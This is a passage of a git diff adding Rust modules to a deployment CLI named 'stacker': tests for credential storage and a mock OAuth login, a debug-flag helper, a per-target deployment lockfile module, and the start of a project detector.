assert_eq!(header, "Bearer test-access-token"); + } + + #[test] + fn test_bearer_header_login_required() { + let (manager, _) = make_manager(); + let result = manager.bearer_header("api call"); + assert!(result.is_err()); + } + + // ── FileCredentialStore tests (real filesystem) ── + + #[test] + fn test_file_store_roundtrip() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("creds.json"); + let store = FileCredentialStore::new(path.clone()); + + let creds = valid_creds(); + store.save(&creds).unwrap(); + + let loaded = store.load().unwrap().unwrap(); + assert_eq!(loaded.access_token, creds.access_token); + assert_eq!(loaded.email, creds.email); + } + + #[test] + fn test_file_store_load_nonexistent() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("nonexistent.json"); + let store = FileCredentialStore::new(path); + assert!(store.load().unwrap().is_none()); + } + + #[test] + fn test_file_store_delete() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("creds.json"); + let store = FileCredentialStore::new(path.clone()); + + store.save(&valid_creds()).unwrap(); + assert!(path.exists()); + + store.delete().unwrap(); + assert!(!path.exists()); + } + + #[test] + fn test_file_store_delete_nonexistent_is_ok() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("does-not-exist.json"); + let store = FileCredentialStore::new(path); + assert!(store.delete().is_ok()); + } + + #[test] + fn test_file_store_creates_parent_directories() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("nested").join("dir").join("creds.json"); + let store = FileCredentialStore::new(path.clone()); + + store.save(&valid_creds()).unwrap(); + assert!(path.exists()); + } + + #[cfg(unix)] + #[test] + fn test_file_store_permissions() { + use std::os::unix::fs::PermissionsExt; + + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("creds.json"); + let store = FileCredentialStore::new(path.clone()); + + store.save(&valid_creds()).unwrap(); + + let perms = std::fs::metadata(&path).unwrap().permissions(); + assert_eq!(perms.mode() & 0o777, 0o600); + } + + #[test] + fn test_default_path_contains_stacker() { + let path = FileCredentialStore::default_path(); + let path_str = path.to_string_lossy(); + assert!(path_str.contains("stacker")); + assert!(path_str.contains("credentials.json")); + } + + // ── OAuthClient + login() tests ───────────────── + + /// Mock OAuthClient that returns a configurable result. + struct MockOAuthClient { + response: Option, + error_msg: Option, + } + + impl MockOAuthClient { + fn success() -> Self { + Self { + response: Some(TokenResponse { + access_token: "mock-access-token".into(), + refresh_token: Some("mock-refresh-token".into()), + token_type: Some("Bearer".into()), + scope: Some("read write".into()), + expires_in: Some(3600), + }), + error_msg: None, + } + } + fn failure(msg: &str) -> Self { + Self { + response: None, + error_msg: Some(msg.to_string()), + } + } + } + + impl OAuthClient for MockOAuthClient { + fn request_token( + &self, + _auth_url: &str, + _email: &str, + _password: &str, + ) -> Result { + match &self.response { + Some(resp) => Ok(resp.clone()), + None => Err(CliError::AuthFailed( + self.error_msg.clone().unwrap_or_default(), + )), + } + } + } + + #[test] + fn test_login_saves_credentials() { + let (manager, _store) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://stacker.example.com".into()), + org: None, + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.access_token, "mock-access-token"); + assert_eq!(creds.email.as_deref(), Some("user@example.com")); + assert_eq!( + creds.server_url.as_deref(), + Some("https://stacker.example.com") + ); + + // Verify persisted + let loaded = manager.load().unwrap().unwrap(); + assert_eq!(loaded.access_token, "mock-access-token"); + } + + #[test] + fn test_login_with_org_stores_org() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://stacker.example.com".into()), + org: Some("acme".into()), + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.org.as_deref(), Some("acme")); + } + + #[test] + fn test_login_with_domain_stores_domain() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://stacker.example.com".into()), + org: None, + domain: Some("acme.com".into()), + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.domain.as_deref(), Some("acme.com")); + } + + #[test] + fn test_login_invalid_credentials_returns_error() { + let (manager, _) = make_manager(); + let oauth = + MockOAuthClient::failure("Authentication failed (HTTP 401 Unauthorized): invalid"); + let request = LoginRequest { + email: "bad@example.com".into(), + password: "wrong".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://stacker.example.com".into()), + org: None, + domain: None, + }; + + let err = login(&manager, &oauth, &request).unwrap_err(); + let msg = format!("{}", err); + assert!(msg.contains("Authentication failed")); + } + + #[test] + fn test_login_auth_url_override() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://custom.api".into()), + org: None, + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.server_url.as_deref(), Some("https://custom.api")); + } + + #[test] + fn test_login_preserves_explicit_legacy_stacker_route() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://dev.try.direct/server/user/auth/login".into()), + server_url: Some("https://dev.try.direct/stacker".into()), + org: None, + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!( + creds.server_url.as_deref(), + Some("https://dev.try.direct/stacker") + ); + } + + #[test] + fn test_login_preserves_explicit_api_gateway_url() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://dev.try.direct/server/user/auth/login".into()), + server_url: Some("https://api.try.direct".into()), + org: None, + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.server_url.as_deref(), Some("https://api.try.direct")); + } + + #[test] + fn test_login_requires_auth_url_when_not_provided_by_flag_or_env() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: None, + server_url: Some("https://dev.stacker.try.direct".into()), + org: None, + domain: None, + }; + + let err = login(&manager, &oauth, &request).unwrap_err(); + assert!(format!("{err}").contains("Missing auth URL")); + } + + #[test] + fn test_login_requires_server_url_when_not_provided_by_flag_or_env() { + let (manager, _) = make_manager(); + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://dev.try.direct/server/user/auth/login".into()), + server_url: None, + org: None, + domain: None, + }; + + let err = login(&manager, &oauth, &request).unwrap_err(); + assert!(format!("{err}").contains("Missing Stacker API URL")); + } + + #[test] + fn test_login_refresh_existing_token() { + let (manager, _) = make_manager(); + // Pre-populate with expired credentials + manager.save(&expired_creds()).unwrap(); + + let oauth = MockOAuthClient::success(); + let request = LoginRequest { + email: "user@example.com".into(), + password: "secret".into(), + auth_url: Some("https://auth.example.com".into()), + server_url: Some("https://stacker.example.com".into()), + org: None, + domain: None, + }; + + let creds = login(&manager, &oauth, &request).unwrap(); + assert_eq!(creds.access_token, "mock-access-token"); + assert!(!creds.is_expired()); + + // Only one credential set stored (overwritten, not duplicated) + let loaded = manager.load().unwrap().unwrap(); + assert_eq!(loaded.access_token, "mock-access-token"); + } +} diff --git a/stacker/stacker/src/cli/debug.rs b/stacker/stacker/src/cli/debug.rs new file mode 100644 index 0000000..d58cfa7 --- /dev/null +++ b/stacker/stacker/src/cli/debug.rs @@ -0,0 +1,84 @@ +pub fn cli_debug_enabled() -> bool { + ["DEBUG", "STACKER_DEBUG"].iter().any(|key| { + std::env::var(key) + .map(|value| { + matches!( + value.to_ascii_lowercase().as_str(), + "1" | "true" | "yes" | "on" + ) + }) + .unwrap_or(false) + }) || std::env::var("RUST_LOG") + .map(|value| { + value.split(',').any(|directive| { + let directive = directive.trim(); + directive.eq_ignore_ascii_case("debug") + || directive + .rsplit_once('=') + .is_some_and(|(_, level)| level.eq_ignore_ascii_case("debug")) + }) + }) + .unwrap_or(false) +} + +#[cfg(test)] +mod tests { + use super::cli_debug_enabled; + use std::sync::{Mutex, OnceLock}; + + fn env_lock() -> std::sync::MutexGuard<'static, ()> { + static LOCK: OnceLock> = OnceLock::new(); + LOCK.get_or_init(|| Mutex::new(())).lock().unwrap() + } + + fn clear_debug_env() { + std::env::remove_var("DEBUG"); + std::env::remove_var("STACKER_DEBUG"); + std::env::remove_var("RUST_LOG"); + } + + #[test] + fn cli_debug_enabled_accepts_debug_true() { + let _guard = env_lock(); + clear_debug_env(); + std::env::set_var("DEBUG", "true"); + assert!(cli_debug_enabled()); + clear_debug_env(); + } + + #[test] + fn cli_debug_enabled_accepts_stacker_debug_true() { + let _guard = env_lock(); + clear_debug_env(); + std::env::set_var("STACKER_DEBUG", "true"); + assert!(cli_debug_enabled()); + clear_debug_env(); + } + + #[test] + fn cli_debug_enabled_accepts_rust_log_debug() { + let _guard = env_lock(); + clear_debug_env(); + std::env::set_var("RUST_LOG", "debug"); + assert!(cli_debug_enabled()); + clear_debug_env(); + } + + #[test] + fn cli_debug_enabled_accepts_module_rust_log_debug() { + let _guard = env_lock(); + clear_debug_env(); + std::env::set_var("RUST_LOG", "info,stacker=debug"); + assert!(cli_debug_enabled()); + clear_debug_env(); + } + + #[test] + fn cli_debug_enabled_ignores_non_debug_rust_log() { + let _guard = env_lock(); + clear_debug_env(); + std::env::set_var("RUST_LOG", "info,stacker=trace"); + assert!(!cli_debug_enabled()); + clear_debug_env(); + } +} diff --git a/stacker/stacker/src/cli/deployment_lock.rs b/stacker/stacker/src/cli/deployment_lock.rs new file mode 100644 index 0000000..696d76a --- /dev/null +++ b/stacker/stacker/src/cli/deployment_lock.rs @@ -0,0 +1,660 @@ +use std::path::{Path, PathBuf}; + +use chrono::Utc; +use serde::{Deserialize, Serialize}; + +use crate::cli::config_parser::{ServerConfig, StackerConfig}; +use crate::cli::error::CliError; +use crate::cli::install_runner::DeployResult; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DeploymentLock — persisted deployment context +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Legacy filename for the deployment lockfile inside `.stacker/`. +pub const LOCKFILE_NAME: &str = "deployment.lock"; + +/// Returns the per-target lockfile name, e.g. `deployment-cloud.lock`. +pub fn lockfile_name_for_target(target: &str) -> String { + format!("deployment-{}.lock", target) +} + +/// Persisted deployment context written after a successful deploy. +/// +/// Lives in `.stacker/deployment.lock` and allows subsequent deploys +/// to reuse the same server without requiring manual stacker.yml edits. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DeploymentLock { + /// Deploy target that was used (local / cloud / server). + pub target: String, + + /// IP address of the provisioned/used server. + pub server_ip: Option, + + /// SSH user on the target server. + pub ssh_user: Option, + + /// SSH port on the target server. + pub ssh_port: Option, + + /// Server name on the Stacker platform (for `--server` reuse). + pub server_name: Option, + + /// Stacker server deployment ID. + pub deployment_id: Option, + + /// Stacker server project ID. + pub project_id: Option, + + /// Cloud credential ID used for this deployment. + pub cloud_id: Option, + + /// Project name as known by the Stacker server. + pub project_name: Option, + + /// Stacker account email used for the deployment. + pub stacker_email: Option, + + /// ISO 8601 timestamp of the deployment. + pub deployed_at: String, +} + +impl DeploymentLock { + // ── Constructors ───────────────────────────────── + + /// Build a lock from a `DeployResult` (basic info available immediately after deploy). + pub fn from_result(result: &DeployResult) -> Self { + Self { + target: format!("{:?}", result.target).to_lowercase(), + server_ip: result.server_ip.clone(), + ssh_user: None, + ssh_port: None, + server_name: None, + deployment_id: result.deployment_id, + project_id: result.project_id, + cloud_id: None, + project_name: None, + stacker_email: None, + deployed_at: Utc::now().to_rfc3339(), + } + } + + /// Build a lock for a local deploy. + pub fn for_local() -> Self { + Self { + target: "local".to_string(), + server_ip: Some("127.0.0.1".to_string()), + ssh_user: None, + ssh_port: None, + server_name: None, + deployment_id: None, + project_id: None, + cloud_id: None, + project_name: None, + stacker_email: None, + deployed_at: Utc::now().to_rfc3339(), + } + } + + /// Build a lock for a server (SSH) deploy from the config. + pub fn for_server(server_cfg: &ServerConfig) -> Self { + Self { + target: "server".to_string(), + server_ip: Some(server_cfg.host.clone()), + ssh_user: Some(server_cfg.user.clone()), + ssh_port: Some(server_cfg.port), + server_name: None, + deployment_id: None, + project_id: None, + cloud_id: None, + project_name: None, + stacker_email: None, + deployed_at: Utc::now().to_rfc3339(), + } + } + + // ── Enrichment (builder pattern) ───────────────── + + /// Enrich with server details fetched from the Stacker API. + pub fn with_server_info( + mut self, + ip: Option, + user: Option, + port: Option, + name: Option, + cloud_id: Option, + ) -> Self { + if ip.is_some() { + self.server_ip = ip; + } + if user.is_some() { + self.ssh_user = user; + } + if port.is_some() { + self.ssh_port = port; + } + if name.is_some() { + self.server_name = name; + } + if cloud_id.is_some() { + self.cloud_id = cloud_id; + } + self + } + + pub fn with_project_name(mut self, name: Option) -> Self { + if name.is_some() { + self.project_name = name; + } + self + } + + pub fn with_stacker_email(mut self, email: Option) -> Self { + if email.is_some() { + self.stacker_email = email; + } + self + } + + // ── Persistence ────────────────────────────────── + + /// Resolve the per-target lockfile path (e.g. `.stacker/deployment-cloud.lock`). + pub fn lockfile_path_for_target(project_dir: &Path, target: &str) -> PathBuf { + project_dir + .join(".stacker") + .join(lockfile_name_for_target(target)) + } + + /// Legacy lockfile path (`.stacker/deployment.lock`). + pub fn lockfile_path(project_dir: &Path) -> PathBuf { + project_dir.join(".stacker").join(LOCKFILE_NAME) + } + + /// Save the lock to `.stacker/deployment-{target}.lock`. + pub fn save(&self, project_dir: &Path) -> Result { + let path = Self::lockfile_path_for_target(project_dir, &self.target); + + // Ensure .stacker/ exists + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(CliError::Io)?; + } + + let content = serde_yaml::to_string(self).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize deployment lock: {}", e)) + })?; + + std::fs::write(&path, &content).map_err(CliError::Io)?; + + Ok(path) + } + + /// Load a deployment lock for a specific target. + /// Falls back to the legacy `deployment.lock` if the per-target file doesn't exist. + pub fn load_for_target(project_dir: &Path, target: &str) -> Result, CliError> { + let target_path = Self::lockfile_path_for_target(project_dir, target); + if target_path.exists() { + let content = std::fs::read_to_string(&target_path).map_err(CliError::Io)?; + let lock: Self = serde_yaml::from_str(&content).map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to parse deployment lock ({}): {}. Delete the file and redeploy.", + target_path.display(), + e + )) + })?; + return Ok(Some(lock)); + } + + // Fallback: try legacy deployment.lock (only if its target matches) + Self::load_legacy(project_dir, Some(target)) + } + + /// Load the legacy `deployment.lock`, optionally filtering by target. + fn load_legacy( + project_dir: &Path, + filter_target: Option<&str>, + ) -> Result, CliError> { + let path = Self::lockfile_path(project_dir); + if !path.exists() { + return Ok(None); + } + + let content = std::fs::read_to_string(&path).map_err(CliError::Io)?; + let lock: Self = serde_yaml::from_str(&content).map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to parse deployment lock ({}): {}. Delete the file and redeploy.", + path.display(), + e + )) + })?; + + if let Some(target) = filter_target { + if lock.target != target { + return Ok(None); + } + } + + Ok(Some(lock)) + } + + /// Load a deployment lock from `.stacker/deployment.lock` (legacy). + /// Returns `None` if the file does not exist. + pub fn load(project_dir: &Path) -> Result, CliError> { + // Try all per-target files first, then fall back to legacy + for target in &["cloud", "server", "local"] { + let target_path = Self::lockfile_path_for_target(project_dir, target); + if target_path.exists() { + let content = std::fs::read_to_string(&target_path).map_err(CliError::Io)?; + let lock: Self = serde_yaml::from_str(&content).map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to parse deployment lock ({}): {}. Delete the file and redeploy.", + target_path.display(), + e + )) + })?; + return Ok(Some(lock)); + } + } + + Self::load_legacy(project_dir, None) + } + + /// Load the lock for the active target if present, otherwise fall back to the + /// first available lock. + pub fn load_active(project_dir: &Path) -> Result, CliError> { + if let Some(target) = Self::read_active_target(project_dir)? { + if let Some(lock) = Self::load_for_target(project_dir, &target)? { + return Ok(Some(lock)); + } + } + + Self::load(project_dir) + } + + /// Check whether a lockfile exists for a given target. + pub fn exists_for_target(project_dir: &Path, target: &str) -> bool { + Self::lockfile_path_for_target(project_dir, target).exists() + } + + /// Check whether any lockfile exists for this project (per-target or legacy). + pub fn exists(project_dir: &Path) -> bool { + for target in &["cloud", "server", "local"] { + if Self::lockfile_path_for_target(project_dir, target).exists() { + return true; + } + } + Self::lockfile_path(project_dir).exists() + } + + // ── Active Target ──────────────────────────────── + + /// Path to the active-target file: `.stacker/active-target` + pub fn active_target_path(project_dir: &Path) -> PathBuf { + project_dir.join(".stacker").join("active-target") + } + + /// Read the current active target (local, cloud, or server). + /// Returns `None` if no active-target file exists. + pub fn read_active_target(project_dir: &Path) -> Result, CliError> { + let path = Self::active_target_path(project_dir); + if !path.exists() { + return Ok(None); + } + let content = std::fs::read_to_string(&path).map_err(CliError::Io)?; + let target = content.trim().to_string(); + if target.is_empty() { + Ok(None) + } else { + Ok(Some(target)) + } + } + + /// Write the active target to `.stacker/active-target`. + pub fn write_active_target(project_dir: &Path, target: &str) -> Result<(), CliError> { + let path = Self::active_target_path(project_dir); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).map_err(CliError::Io)?; + } + std::fs::write(&path, target).map_err(CliError::Io)?; + Ok(()) + } + + /// Switch active target. For `local`, also creates the lock if missing. + pub fn switch_target(project_dir: &Path, target: &str) -> Result<(), CliError> { + match target { + "local" => { + if !Self::exists_for_target(project_dir, "local") { + let lock = Self::for_local(); + lock.save(project_dir)?; + } + } + "cloud" | "server" => { + if !Self::exists_for_target(project_dir, target) { + return Err(CliError::ConfigValidation(format!( + "No {} deployment lock found. Deploy to {} first before switching.", + target, target + ))); + } + } + _ => { + return Err(CliError::ConfigValidation(format!( + "Unknown target '{}'. Use: local, cloud, or server.", + target + ))); + } + } + Self::write_active_target(project_dir, target) + } + + // ── Config update ──────────────────────────────── + + /// Update a StackerConfig's `deploy.server` section from this lock. + /// + /// Used by `--lock` flag and `stacker config lock` to persist + /// server details into stacker.yml for future SSH-based deploys. + pub fn apply_to_config(&self, config: &mut StackerConfig) { + if let Some(ref ip) = self.server_ip { + if ip == "127.0.0.1" { + // Local deploy — nothing to persist in server section + return; + } + + let ssh_key = config + .deploy + .server + .as_ref() + .and_then(|s| s.ssh_key.clone()) + .or_else(|| config.deploy.cloud.as_ref().and_then(|c| c.ssh_key.clone())); + + config.deploy.server = Some(ServerConfig { + host: ip.clone(), + user: self.ssh_user.clone().unwrap_or_else(|| "root".to_string()), + ssh_key, + port: self.ssh_port.unwrap_or(22), + }); + } + } + + /// Write a StackerConfig back to disk (used after `apply_to_config`). + /// + /// Creates a `.bak` backup before overwriting. + pub fn write_config(config: &StackerConfig, config_path: &Path) -> Result<(), CliError> { + // Backup existing file + if config_path.exists() { + let backup_path = config_path.with_extension("yml.bak"); + std::fs::copy(config_path, &backup_path).map_err(CliError::Io)?; + } + + let yaml = serde_yaml::to_string(config).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize config: {}", e)) + })?; + + std::fs::write(config_path, &yaml).map_err(CliError::Io)?; + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::config_parser::DeployTarget; + use tempfile::TempDir; + + fn sample_lock() -> DeploymentLock { + DeploymentLock { + target: "cloud".to_string(), + server_ip: Some("203.0.113.42".to_string()), + ssh_user: Some("root".to_string()), + ssh_port: Some(22), + server_name: Some("my-server".to_string()), + deployment_id: Some(123), + project_id: Some(456), + cloud_id: Some(7), + project_name: Some("my-project".to_string()), + stacker_email: Some("owner@example.com".to_string()), + deployed_at: "2026-03-06T12:00:00+00:00".to_string(), + } + } + + #[test] + fn round_trip_save_load() { + let tmp = TempDir::new().unwrap(); + let lock = sample_lock(); + + let path = lock.save(tmp.path()).unwrap(); + assert!(path.exists()); + assert!(path.ends_with("deployment-cloud.lock")); + + let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud") + .unwrap() + .unwrap(); + assert_eq!(loaded.server_ip, lock.server_ip); + assert_eq!(loaded.deployment_id, lock.deployment_id); + assert_eq!(loaded.project_id, lock.project_id); + assert_eq!(loaded.server_name, lock.server_name); + assert_eq!(loaded.stacker_email, lock.stacker_email); + assert_eq!(loaded.target, "cloud"); + } + + #[test] + fn load_returns_none_when_missing() { + let tmp = TempDir::new().unwrap(); + let result = DeploymentLock::load(tmp.path()).unwrap(); + assert!(result.is_none()); + let result = DeploymentLock::load_for_target(tmp.path(), "cloud").unwrap(); + assert!(result.is_none()); + } + + #[test] + fn exists_detection() { + let tmp = TempDir::new().unwrap(); + assert!(!DeploymentLock::exists(tmp.path())); + assert!(!DeploymentLock::exists_for_target(tmp.path(), "cloud")); + + sample_lock().save(tmp.path()).unwrap(); + assert!(DeploymentLock::exists(tmp.path())); + assert!(DeploymentLock::exists_for_target(tmp.path(), "cloud")); + assert!(!DeploymentLock::exists_for_target(tmp.path(), "local")); + } + + #[test] + fn local_and_cloud_locks_coexist() { + let tmp = TempDir::new().unwrap(); + + // Save cloud lock + let cloud_lock = sample_lock(); + cloud_lock.save(tmp.path()).unwrap(); + + // Save local lock + let local_lock = DeploymentLock::for_local(); + local_lock.save(tmp.path()).unwrap(); + + // Both exist + assert!(DeploymentLock::exists_for_target(tmp.path(), "cloud")); + assert!(DeploymentLock::exists_for_target(tmp.path(), "local")); + + // Load each independently + let loaded_cloud = DeploymentLock::load_for_target(tmp.path(), "cloud") + .unwrap() + .unwrap(); + assert_eq!(loaded_cloud.server_ip, Some("203.0.113.42".to_string())); + assert_eq!(loaded_cloud.deployment_id, Some(123)); + + let loaded_local = DeploymentLock::load_for_target(tmp.path(), "local") + .unwrap() + .unwrap(); + assert_eq!(loaded_local.server_ip, Some("127.0.0.1".to_string())); + assert_eq!(loaded_local.deployment_id, None); + + // Generic load() prefers cloud over local + let generic = DeploymentLock::load(tmp.path()).unwrap().unwrap(); + assert_eq!(generic.target, "cloud"); + } + + #[test] + fn legacy_lockfile_fallback() { + let tmp = TempDir::new().unwrap(); + + // Manually write a legacy deployment.lock + let stacker_dir = tmp.path().join(".stacker"); + std::fs::create_dir_all(&stacker_dir).unwrap(); + let legacy_lock = sample_lock(); + let content = serde_yaml::to_string(&legacy_lock).unwrap(); + std::fs::write(stacker_dir.join("deployment.lock"), &content).unwrap(); + + // load_for_target("cloud") should find it via legacy fallback + let loaded = DeploymentLock::load_for_target(tmp.path(), "cloud") + .unwrap() + .unwrap(); + assert_eq!(loaded.target, "cloud"); + assert_eq!(loaded.deployment_id, Some(123)); + + // load_for_target("local") should NOT find it (target mismatch) + let loaded_local = DeploymentLock::load_for_target(tmp.path(), "local").unwrap(); + assert!(loaded_local.is_none()); + + // Generic load() should find the legacy file + let generic = DeploymentLock::load(tmp.path()).unwrap().unwrap(); + assert_eq!(generic.target, "cloud"); + } + + #[test] + fn apply_to_config_sets_server_section() { + let lock = sample_lock(); + let mut config = StackerConfig::default(); + + lock.apply_to_config(&mut config); + + let server = config.deploy.server.unwrap(); + assert_eq!(server.host, "203.0.113.42"); + assert_eq!(server.user, "root"); + assert_eq!(server.port, 22); + } + + #[test] + fn apply_to_config_skips_local() { + let lock = DeploymentLock::for_local(); + let mut config = StackerConfig::default(); + + lock.apply_to_config(&mut config); + + assert!(config.deploy.server.is_none()); + } + + #[test] + fn for_server_captures_config() { + let server_cfg = ServerConfig { + host: "10.0.0.1".to_string(), + user: "deploy".to_string(), + ssh_key: None, + port: 2222, + }; + + let lock = DeploymentLock::for_server(&server_cfg); + assert_eq!(lock.server_ip, Some("10.0.0.1".to_string())); + assert_eq!(lock.ssh_user, Some("deploy".to_string())); + assert_eq!(lock.ssh_port, Some(2222)); + assert_eq!(lock.target, "server"); + } + + #[test] + fn with_server_info_enriches_lock() { + let lock = DeploymentLock::from_result(&DeployResult { + target: DeployTarget::Cloud, + message: "deployed".to_string(), + server_ip: None, + deployment_id: Some(1), + project_id: Some(2), + server_name: None, + }); + + let enriched = lock.with_server_info( + Some("1.2.3.4".to_string()), + Some("ubuntu".to_string()), + Some(22), + Some("prod-01".to_string()), + Some(99), + ); + + assert_eq!(enriched.server_ip, Some("1.2.3.4".to_string())); + assert_eq!(enriched.ssh_user, Some("ubuntu".to_string())); + assert_eq!(enriched.server_name, Some("prod-01".to_string())); + assert_eq!(enriched.cloud_id, Some(99)); + } + + #[test] + fn with_stacker_email_enriches_lock() { + let lock = DeploymentLock::for_local().with_stacker_email(Some("user@example.com".into())); + assert_eq!(lock.stacker_email.as_deref(), Some("user@example.com")); + } + + #[test] + fn active_target_read_write() { + let tmp = TempDir::new().unwrap(); + + // No active target initially + assert_eq!( + DeploymentLock::read_active_target(tmp.path()).unwrap(), + None + ); + + // Write and read back + DeploymentLock::write_active_target(tmp.path(), "local").unwrap(); + assert_eq!( + DeploymentLock::read_active_target(tmp.path()).unwrap(), + Some("local".to_string()) + ); + + // Switch to cloud + DeploymentLock::write_active_target(tmp.path(), "cloud").unwrap(); + assert_eq!( + DeploymentLock::read_active_target(tmp.path()).unwrap(), + Some("cloud".to_string()) + ); + } + + #[test] + fn switch_target_creates_local_lock() { + let tmp = TempDir::new().unwrap(); + + // Switch to local — should create the lock automatically + DeploymentLock::switch_target(tmp.path(), "local").unwrap(); + assert!(DeploymentLock::exists_for_target(tmp.path(), "local")); + assert_eq!( + DeploymentLock::read_active_target(tmp.path()).unwrap(), + Some("local".to_string()) + ); + } + + #[test] + fn switch_target_cloud_requires_existing_lock() { + let tmp = TempDir::new().unwrap(); + + // Switch to cloud without a lock should fail + let result = DeploymentLock::switch_target(tmp.path(), "cloud"); + assert!(result.is_err()); + } + + #[test] + fn switch_target_unknown_target_fails() { + let tmp = TempDir::new().unwrap(); + let result = DeploymentLock::switch_target(tmp.path(), "mars"); + assert!(result.is_err()); + } + + #[test] + fn load_active_prefers_active_target_lock() { + let tmp = TempDir::new().unwrap(); + + sample_lock().save(tmp.path()).unwrap(); + DeploymentLock::for_local().save(tmp.path()).unwrap(); + DeploymentLock::write_active_target(tmp.path(), "local").unwrap(); + + let lock = DeploymentLock::load_active(tmp.path()).unwrap().unwrap(); + assert_eq!(lock.target, "local"); + } +} diff --git a/stacker/stacker/src/cli/detector.rs b/stacker/stacker/src/cli/detector.rs new file mode 100644 index 0000000..34ba8a1 --- /dev/null +++ b/stacker/stacker/src/cli/detector.rs @@ -0,0 +1,773 @@ +use std::collections::{BTreeMap, BTreeSet, HashMap}; +use std::path::{Path, PathBuf}; + +use crate::cli::config_parser::AppType; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ProjectDetection — result of scanning a project directory +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ProjectDetection { + pub app_type: AppType, + pub has_dockerfile: bool, + pub has_compose: bool, + pub has_env_file: bool, + pub detected_files: Vec, +} + +impl Default for ProjectDetection { + fn default() -> Self { + Self { + app_type: AppType::Custom, + has_dockerfile: false, + has_compose: false, + has_env_file: false, + detected_files: Vec::new(), + } + } +} + +/// Convert a detection result into the detected AppType. +impl From<&ProjectDetection> for AppType { + fn from(detection: &ProjectDetection) -> Self { + detection.app_type + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct DiscoveredApp { + pub name: String, + pub path: PathBuf, + pub app_type: AppType, + pub has_dockerfile: bool, + pub dockerfile: Option, + pub detected_files: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ComposeStack { + pub path: PathBuf, + pub services: Vec, + pub detected_services: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct DetectedComposeService { + pub name: String, + pub image: Option, + pub ports: Vec, + pub environment: HashMap, + pub volumes: Vec, + pub depends_on: Vec, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct WorkspaceDetection { + pub root: ProjectDetection, + pub apps: Vec, + pub compose_stacks: Vec, + pub recommended_compose_file: Option, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// FileSystem trait — abstraction for testability (DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub trait FileSystem: Send + Sync { + fn exists(&self, path: &Path) -> bool; + fn list_dir(&self, path: &Path) -> Result, std::io::Error>; + fn read_to_string(&self, path: &Path) -> Result; +} + +/// Production filesystem using std::fs. +pub struct RealFileSystem; + +impl FileSystem for RealFileSystem { + fn exists(&self, path: &Path) -> bool { + path.exists() + } + + fn list_dir(&self, path: &Path) -> Result, std::io::Error> { + let entries = std::fs::read_dir(path)? + .filter_map(|e| e.ok()) + .map(|e| e.file_name().to_string_lossy().to_string()) + .collect(); + Ok(entries) + } + + fn read_to_string(&self, path: &Path) -> Result { + std::fs::read_to_string(path) + } +} + +// 